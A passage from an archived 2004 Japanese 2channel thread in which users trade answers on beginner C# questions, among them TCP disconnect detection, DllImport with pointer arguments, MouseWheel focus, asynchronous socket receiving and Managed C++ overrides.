2:異常切断されたときイベントなどで通知することを考えているが、
通常切断したときも同じイベントを発行したほうがライブラリを使う側にとって便利なのかどうか
ちょっとアンケートがましいですが意見をお聞かせくださいm(_ _)m
496:デフォルトの名無しさん
04/11/03 12:41:36
プログラム歴2ヶ月で答えると叩かれそうだが・・・
1,
byte[] byteAry = 受信データ;
if ( byteAry.Length <= 0 )
{ パイプカット }
2,
ライブラリがエラーの処理をどこまでするかによるんじゃないでしょうか
でしゃばってスマソ
497:デフォルトの名無しさん
04/11/03 23:25:41
>495
1.物理的に切断を瞬間的に不可能。
TCPのキープアライブ使ってもいいが融通がきかん、自分でキープアライブパケット投げるようにしておけ。
2.同じイベントでも(・∀・)イイ!!が、通常なのか異常なのかわかるようにしておけ。エラー原因などもプログラムで扱えるよう定義してふんだんな情報を送っておけ
以上。
498:杏仁
04/11/05 17:39:49
最近C#を始めました。良く分からないので質問させてください。
いま、Cで作成されたDLLをDllImportで呼び出しています。
そのDLLの仕様を見ると関数は
void hoge(UINT *pWidth, UINT *pHeight);
とポインタで呼び出していました。
[DllImport("hogehoge.dll")]
public static extern void hoge(int w, int h);
としても当然うまくいきませんでした。
C#でこのような場合ようやってDllImportすればいいのでしょうか?
お手数ですが、お教えください。よろしくお願いします。
499:デフォルトの名無しさん
04/11/05 17:46:06
>>498
ref System.UInt32 にする。
(まぁ小さげな値だろうから ref System.Int32 でもいいだろうけど)
500:デフォルトの名無しさん
04/11/05 17:53:35
System.IntPtrで外部関数のパラメータを定義し
System.Runtime.InteropServices.Marshal.AllocCoTaskMemでメモリを確保、
System.Runtime.InteropServices.Marshal.WriteInt32で確保したメモリに書き込み、
関数に渡す。
結果をSystem.Runtime.InteropServices.Marshal.ReadInt32で読み込んで
System.Runtime.InteropServices.Marshal.FreeCoTaskMemでメモリを破棄する。
uint*程度でやる事じゃありません。
501:デフォルトの名無しさん
04/11/05 17:58:17
関数がどんな性質なのかにもよるんだよなー。
これがよくもあり悪くもあり。
502:杏仁
04/11/05 18:34:05
回答ありがとうございます。
>>499
> ref System.UInt32 にする。
[DllImport("hogehoge.dll")]
public static extern void hoge(ref System.UInt32 w, ref System.UInt32 h);
ということでしょうか?この場合、どうやって呼び出せばいいのですか?
int w=0;
int h=0;
hoge(w,h);
としてもうまくいきません。
>>500
回答していただいたのにさっぱり・・・。
もう少し分かりやすくお願いできますでしょうか?
最近始めたばかりで、さっぱり右も左も分からない状態です。
よろしくお願いします。
503:デフォルトの名無しさん
04/11/05 18:39:42
>>502
ヘルプでrefキーワードぐらい調べようよ〜。
呼び出す時もrefキーワードが必要。
hoge(ref w, ref h);
500はただのジョークだから。こんな手段もあるよってだけ。
//と最後の行で言ったつもりだったんだけど。
504:デフォルトの名無しさん
04/11/05 19:04:46
>>502
蛇足の補足。たぶんこの場合は関係ないだろうけど、ポインタ値が指す領域にある値だけではなく、
そのものに意味がある場合には、System.IntPtr 型にしておいて、ポインタの指す先のアクセスは
>>500 風にやるようなこともある、ってのが >>501 ね(たぶん)。
例えば hoge の正体が hoge(UINT* w, UINT* h) { delete [] w; delete [] h; } みたいな場合とか。
505:デフォルトの名無しさん
04/11/05 19:05:31
>>そのものに意味がある
↑
「ポインタ値そのものに意味がある」の編集ミスですた。
506:デフォルトの名無しさん
04/11/06 00:54:32
this.pictureBox1.MouseWheel += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseWheel);
private void pictureBox1_MouseWheel(object sender, MouseEventArgs e)
{
Console.WriteLine(e.Delta);
}
と記述してるのですが、マウスホイールくるくるしてもpictureBox1_MouseWheelイベントが発生してくれません。
そもそもなんで、MouseWheelだけは手動で書かないといけないのかと(ry
507:デフォルトの名無しさん
04/11/06 01:01:47
>>506
Console.WriteLine();を、MessageBox.Show("","");
にしても駄目?
508:506
04/11/06 01:08:21
だめっぽいです
ブレークポイントしかけても反応してくれません。
Panelの上に張ってるのでPanelにもイベントハンドらを記述したのですが
どっちもイベントが発生しないみたいです。
509:デフォルトの名無しさん
04/11/06 01:10:57
>>508
>Control.MouseWheel イベント
> コントロールにフォーカスがあるときにマウス ホイールが動くと発生します。
PictureBoxやPanelはユーザの通常操作ではフォーカスを得る事はない。
510:508
04/11/06 01:18:35
なるほど。
Mouse_EnterしたらFocus()するようにするとうまくいきました。
お騒がせしました。
511:デフォルトの名無しさん
04/11/06 18:29:40
今C#の文法書を読んで勉強中なんですが
文法などを一通り理解したら次は何をすべきなんでしょうか?
guiアプリケーションを作れる人は文法などを理解したら次は何をしたんですか?
512:デフォルトの名無しさん
04/11/06 18:32:41
作りたいアプリを作りつつ
GUIパーツをいろいろ試したり細かいプロパティ・メソッドを調べたり
非GUIなクラスの使い方を覚えたりどんなクラスが存在するのかを調べたり。
513:デフォルトの名無しさん
04/11/06 18:32:45
>>511
作りたいものを作れ。手を動かせ。
「習うより慣れろ」ということわざがあるが、
プログラミングの場合「習ったら慣れろ」ってところか。
514:デフォルトの名無しさん
04/11/06 18:41:15
わからないことがあったらここに質問しにきていいんですかね?
タブ型メモ帳を作ろうとしてお世話になったのが自分なのですが。
MSDNライブラリをみながら作るだけではちょっとムリがあるかなと思いました。
515:495
04/11/06 20:36:09
>>496-497
亀ですがdくすです。
む〜。実際にデータ送らないと切断検出できないですか〜。
送信、受信が別スレッドに分かれているんで、リターンを待つ同期に一苦労^-^;
516:デフォルトの名無しさん
04/11/06 20:44:40
>>515
送信と受信を一つのスレッドでやるとエライ事になるよw
あとTcpClientは結構ゴミだからクライアントアプリでもSoket使った方がいいかも。
517:495
04/11/06 20:51:11
>>516
>クライアントアプリでもSocket
具体的にどのような点が優れているんですか?
ちょっとワカラン orz
518:デフォルトの名無しさん
04/11/06 20:58:32
>>517
NetworkStreamでしか送受信出来ない、細かい制御(受信側のみ切断とか)も出来ない
ついでに非同期送受信も出来ない・・・
TcpClientで作っても後々書き直すことになると思うw
519:495
04/11/06 21:00:06
>>518
ラジャ^-^;
520:495
04/11/06 21:01:24
あ〜送受信系統を1つのクラスに押し込めて置いてよかったw
このクラスの中身だけ変えればおkだわ
521:デフォルトの名無しさん
04/11/06 22:26:52
URLリンク(do.sakura.ne.jp)
こんな感じで送受信してます、たまにデータが続けざまに来るとエラーでるんですが、どうしたらよいでしょう・・・。
522:デフォルトの名無しさん
04/11/07 00:13:29
えーと・・・
BeginReceiveしてEndReceiveした後は、また非同期受信するなら再度BeginReciveしないと駄目なような・・・
それにこの用途ならNetworkStream使った方が楽かも・・・(俺ならそうするw)
あと、一度の受信でバッファ全部捨ててるけど、
非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
プールしてその上でさらにバッファを貯めるみたいにすべき。
あと(ぉ終了処理はShutdownの後でCloseしよーw
523:521
04/11/07 01:12:53
了解です!(BeginRecieveするメソッドにソケット渡し忘れてた・・・(/ω\))
NetworkStream調べてみます〜
>あと、一度の受信でバッファ全部捨ててるけど、
>非同期受信は何バイト受信するかわからないから、先取りしたデータは捨てるんじゃなくて
>プールしてその上でさらにバッファを貯めるみたいにすべき。
int recBytesSize = socket.EndReceive( ar );
↑で受信データサイズ抜いた時点で必要とするbyte配列は確定してない・・・ということですか?
524:495
04/11/07 16:00:26
何か似たような事やっている人がいるなぁ ^-^;
おまいは俺か?
525:杏仁
04/11/07 21:51:38
>>498-503
ありがとうございました。おかげで動作しました。
もう一つ質問なのですが、DLLの仕様を見ると
BYTE *HOGE()
という関数があります。
この場合は、どうやって呼び出せばいいでしょうか?
よろしくお願いします。
526:521
04/11/07 21:56:34
>>495
あなたの子よ!認知してよ!
非同期NetworkStreamのサンプル見つからない(MSDNのだと断片的でわからず・・・)
527:デフォルトの名無しさん
04/11/07 22:04:54
ところで Bigin〜 したら必ず End〜 しなきゃいけないの?
やりっぱなしじゃ駄目?
528:527
04/11/07 22:05:19
凄く打ち間違い orz
529:デフォルトの名無しさん
04/11/07 22:16:49
ランダムにping送って、応答があった場合、応答先のPCのNICのMACアドレスを取得する方法ってありますか?
530:デフォルトの名無しさん
04/11/07 22:34:26
よく分からないけど通報しますた
531:デフォルトの名無しさん
04/11/07 22:55:54
ブロードキャストがしたいんじゃないかな…
532:デフォルトの名無しさん
04/11/07 22:57:25
ARPのことなのだろうか・・・・
それとも今世界のどこかから自分のMAC抜かれたいのだろうか
533:デフォルトの名無しさん
04/11/07 23:21:05
マックでバーガー三つ買って来るか・・・ハァ・・・
534:デフォルトの名無しさん
04/11/07 23:38:51
漏れのもたのむ
535:デフォルトの名無しさん
04/11/07 23:55:40
>529
pingパケットにその情報があるか見てみれば?
536:デフォルトの名無しさん
04/11/08 00:14:47
C#のクラスを継承してManageC++のクラスを作りたいんですが、
メンバ関数のオーバーライドがうまくいきません。
C#のクラス↓
public abstract class ClassCS
{
public abstract void Func(ref int c);
}
void FuncC(int __gc& C) や void FuncC(int &C) ではだめでした。
この関数FuncをオーバーライドするにはC++でどのように記述すればいいんでしょうか?
537:デフォルトの名無しさん
04/11/08 01:38:42
>>525
それはもう関数次第としか言えない。
>500みたいなことをする可能性が高いが。
>>536
ええとポインタを引数に取るんだからvoid FuncC(int* c)じゃないのかな。
538:デフォルトの名無しさん
04/11/08 02:37:53
>>535
それだと、同一ネットワーク内ならOKだけど、L3装置かましたときに中継点のMACになるような
539:杏仁
04/11/08 10:14:41
>>537
>それはもう関数次第としか言えない。
画像バッフアのアドレスが格納されて帰ってくる関数みたいなのですが・・。
> >500みたいなことをする可能性が高いが。
・・・・。大変そうですね。私にできるかどうか・・・。
サンプルとか参考になるサイト等ありますでしょうか?
次ページ最新レス表示スレッドの検索類似スレ一覧話題のニュースおまかせリスト▼オプションを表示暇つぶし2ch
5316日前に更新/230 KB
担当:undef